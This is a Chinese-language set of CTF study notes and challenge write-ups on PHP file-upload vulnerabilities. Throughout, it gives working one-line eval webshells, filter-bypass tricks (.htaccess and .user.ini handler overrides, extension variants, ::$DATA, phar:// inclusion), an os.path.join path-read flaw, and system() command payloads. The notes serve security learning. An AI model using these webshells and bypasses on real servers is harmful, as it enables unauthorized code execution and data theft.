一.知识
1.1一句话木马
(1)图片头
GIF89a
①
<script language="php">eval($_POST[8]);</script>
②
<?php
@eval($_POST[8]);
echo "it is ok";
?>
③
php短标签
我们最常见的 PHP 标签就是<?php ?>了,但是 PHP 中还有两种短标签,即<? ?>和<?= ?>。当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;。
其中,<? ?>相当于对<?php ?>
的替换。而<?= ?>则是相当于<?php echo ... ?>
。例如:
<?eval($_POST[8]);?>
<?=eval($_POST[8]);?>
1.2绕过
Ⅰ黑名单:上传一个door.asd 来判断是黑名单还是白名单
(1)前端验证
①将一句话木马保存成1.jpg
格式,选择1.jpg文件,用burp拦截数据包,讲文件类型改成php
②禁用JS
Begin of Upload考点:PHP文件上传漏洞
FLAG:动态FLAG
解题步骤本题主要考察PHP文件上传漏洞的前端校验绕过
编写含有一句话木马的文件命名为1.php内容为
<?php
@eval($_POST[8]);
echo "it is ok";
?>
点击上传文件,会弹出
想到题目是使用JavaScript对文件拓展名进行限制
打开浏览器设置禁用js
再次上传,得到上传文件的路径
访问路径 url/upload/1.php
然后命令执行得到flag
POST:
1=system('ls /');
1=system('cat /fllll4g ');
(2)Content-Type
上传1.php文件用burp拦截请求,将Content-Type改成image/jpeg
(3)不同后缀
.php3,.php4,.php5,.phtml,.pht
(4) .htaccess
①
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
注意里面的1.png要和你刚才上传的文件名一模一样!
②
AddType application/x-httpd-php .jpg
①②注意jpg还是png,要改为相应的。
(5)大小写绕过
将文件命名成1.PHp就可以上传
WEB容器除非非常老的版本,不然都不区分大小写
(6)'空’绕过
将文件命名成"1.php " 就可以上传,windows的需要burp修改数据包
(7)"点"绕过
将文件命名成1.php.就可以上传,windows的需要burp修改数据包
(8)::$DATA(Windows文件流绕过)
上传1.php文件,用burp修改数据包1.php后面加上::$DATA
(9)"点"和"空"绕过
’1.php. .’
(10)双写绕过
“1.pphphp”
Ⅱ白名单:
(11)
(12)
1.3os.path.join(path,*paths)函数
如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
1.4phar://
上传压缩包,然后利用PHP伪协议
phar://
读取Webshll文件
再访问:
?filename=phar://…/shell.zip/shell.php
2.1之前做的一些题
如何生成图片马
copy/b 11.jpg/b+11.php 11.jpg
Ⅰ.phtml, <?简单过滤
(1)一句话木马
故意使用了post和get用来迷惑人
https://127.0.0.1/shy.php?POST=assert 密码:GET
<?php $_GET['POST']($_POST['GET'])?>
(2)提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为
image/jpeg
(3)带<?的一句话都不行
GIF89a? <script language="php">eval($_REQUEST[8])</script>
(4)现在需要知道图片的保存路径了。
一般都是
upload/filename
Ⅱ.前端验证, phtml
(1)一句话木马
<?php @eval($_POST[8]);?>
(2)前
jpg
(3)后缀
phtml
Ⅲ.htaccess
(1)一句话木马
GIF89a?
<script language="php">eval($_POST[8]);</script>
(2).htaccess文件,里面的内容为:
①
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
注意里面的1.png要和你刚才上传的文件名一模一样!
②
AddType application/x-httpd-php .jpg
①②注意jpg还是png,要改为相应的。
(3)访问
得到
/var/www/html/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg succesfully uploaded!
访问
/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg
Ⅳ.user.ini
(1).user.ini文件
GIF89a
auto_prepend_file=b.jpg
(2)
Your dir uploads/c55e0cb61f7eb238df09ae30a206e5ee
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "b.jpg" [4]=> string(9) "index.php" }
(3)访问
uploads/c55e0cb61f7eb238df09ae30a206e5ee/b.jpg
二.实例
[极客大挑战 2019]Upload
进入,看到
要求上传图片,那我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
报错
后缀改为.phtml,再次报错
图片马改为由<script language="php">eval($_POST['a']);</script>
和一张图片组成
成功上传
一般文件都在upload文件夹下
访问:
连蚁剑,得flag
[ACTF2020 新生赛]Upload
进入,看到
我习惯直接上图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
错误
将后缀名改为.phtml,上传成功
访问:
连蚁剑,得flag
NSS
[SWPUCTF 2021 新生赛]easyupload1.0
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示文件太大了,尝试上传改了后缀名变成图片的文本
<?php @eval($_POST[8]);?>
上传成功,连蚁剑
但你只会找到一个假的flag,真的在环境变量里
[SWPUCTF 2021 新生赛]easyupload2.0
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示
修改后缀为phtml,上传成功
连蚁剑
这一次很快就找到flag了
[SWPUCTF 2021 新生赛]easyupload3.0
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示
"."绕过,在php后+.
上传成功
但没有用,访问到的是个图片,蚁剑也连接不上
正确步骤开始,先上传图片马,不修改后缀,再上传.htaccess文件
连蚁剑
flag的位置
[NISACTF 2022]babyupload
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示
查看源代码
访问,下载文件
得到源代码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
我们直接看最关键的def upload和def file里的内容,意思是,上传的文件不能有后缀名,且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的,这里就涉及到os.path.join()的绝对路径拼接漏洞:
绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
即,若我们使得res[0]=‘/flag’,则可以读取到根目录下的flag文件,因此利用bp抓包,修改文件名为/flag即可:
直接访问得到的路径
[NISACTF 2022]bingdundun~
上传压缩包,然后利用PHP伪协议
phar://
读取Webshll文件
一句话木马
<?php @eval($_POST[8]);?>
再访问:?filename=phar://…/shell.zip/shell.php
这里经过尝试后给出payload:
?bingdundun=phar://7e7ceaffb13d396bcaa49d85349428b6.zip/shell
连蚁剑
[GXYCTF 2019]BabyUpload
这题我先上传了一个正常的图片,一直传不上。奇了怪了,原来是对图片大小还有限制。
传个空的jpg文件上传成功。
上传php2, php3, php4, php5, phps, pht, phtm, phtml后缀也都爆出ph的检查。
还对php有检查
使用
GIF89a?
<script language="php">eval($_POST[8]);</script>
上传.htaccess文件修改content-type为image/jpeg可绕过检查。
33.jpg
GIF89a?
<script language="php">eval($_POST[8]);</script>
.htaccess
<FilesMatch "33.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
连菜刀
http://node4.anna.nssctf.cn:28040/upload/4d05b7e23252d35a34285a0c2a828379/33.jpg
。NewStarCTF 2023
Begin of Upload
Begin of Upload考点:PHP文件上传漏洞
FLAG:动态FLAG
解题步骤本题主要考察PHP文件上传漏洞的前端校验绕
过
编写含有一句话木马的文件命名为1.php内容为
<?php
@eval($_POST[8]);
echo "it is ok";
?>
点击上传文件,会弹出
想到题目是使用JavaScript对文件拓展名进行限制
打开浏览器设置禁用js
再次上传,得到上传文件的路径
访问路径url/upload/1.php
然后命令执行得到flag
POST:
1=system('ls /');
1=system('cat /fllll4g ');
Upload again!
试着上传图片马
<?php
@eval($_POST[8]);
echo "it is ok";
?>
不行,现在来判断是黑名单还是白名单
换了一种提示方式,猜测应该是对马有要求
换成这个
<script language="php">eval($_POST[8]);</script>
再次上传
图片上传成功,还需要上传.htaccess
文件
连蚁剑文章来源:https://www.toymoban.com/news/detail-611368.html
http://a5b725de-8dc0-4ba6-83b8-51f5c3da83d7.node4.buuoj.cn:81/upload/22.jpg
文章来源地址https://www.toymoban.com/news/detail-611368.html
到了这里,关于文件上传之PHP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!